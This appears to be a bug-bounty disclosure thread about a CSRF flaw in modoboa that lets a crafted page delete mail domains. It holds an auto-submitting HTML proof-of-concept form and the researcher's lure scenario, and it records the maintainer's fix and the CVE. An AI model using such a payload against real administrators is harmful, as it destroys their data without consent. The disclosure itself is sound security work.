CSRF leading to delete a domain in modoboa/modoboa

Valid

Reported on

Jan 14th 2023


Description

GET /admin/domains/{id}/delete/ page is vulnerable to a CSRF attack.

Proof of Concept

  1. Login as admin.
  2. Create a domain to be deleted. E.g. the domain ID is 4.
  3. Open the following file in the browser.
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1:8000/admin/domains/4/delete/">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Impact

Admin would be forced to delete domains.

We are processing your report and will contact the modoboa team within 24 hours. 3 months ago
bAu
3 months ago

Researcher


The repo's security policy is disabled but I found the maintainer's email: tonio@ngyn.org https://github.com/tonioo

We created a GitHub Issue asking the maintainers to create a SECURITY.md 3 months ago
We have contacted a member of the modoboa team and are waiting to hear back 2 months ago
modoboa/modoboa maintainer
2 months ago

Hello, I'm the main maintainer of this project. Thank you for this report but I'm not sure to understand why this is a security issue according to your description. If you stay on the same browser and since we use sessions once a user is connected, we can say it is normal that an admin is allowed to delete a domain he created... Could you please tell me if I understand something in the wrong way? Thank you

bAu
2 months ago

Researcher


Here is the scenario to exploit this issue: Step 1. An attacker serves the HTML file in the Proof of Concept on http://attacker.tld/trap.html. Step 2. The attacker sends the URL to the admin. Step 3. The admin opens the URL and the domain specified by the attacker would get deleted.

As a result, the attacker can force the admin to delete any domains, so this is a security issue called CSRF.

bAu
2 months ago

Researcher


I forgot to mention: @maintainer

modoboa/modoboa maintainer
2 months ago

@bAu Ok I see. After of few researchs on my side, I finally understood how it could lead to a problem. I'm pushing a fix in a few minutes.

modoboa/modoboa maintainer
2 months ago

Here is the corresponding PR: https://github.com/modoboa/modoboa/pull/2752

bAu
2 months ago

Researcher


@maintainer I'll check it later. Could you validate this report?

modoboa/modoboa maintainer validated this vulnerability 2 months ago
bAu has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
bAu
2 months ago

Researcher


@maintainer I confirmed the vulnerability was fixed! Please mark this issue as fixed and request a CVE!

modoboa/modoboa maintainer marked this as fixed in 2.0.4 with commit 8e14ac 2 months ago
The fix bounty has been dropped
This vulnerability has been assigned a CVE
modoboa/modoboa maintainer published this vulnerability 2 months ago
to join this conversation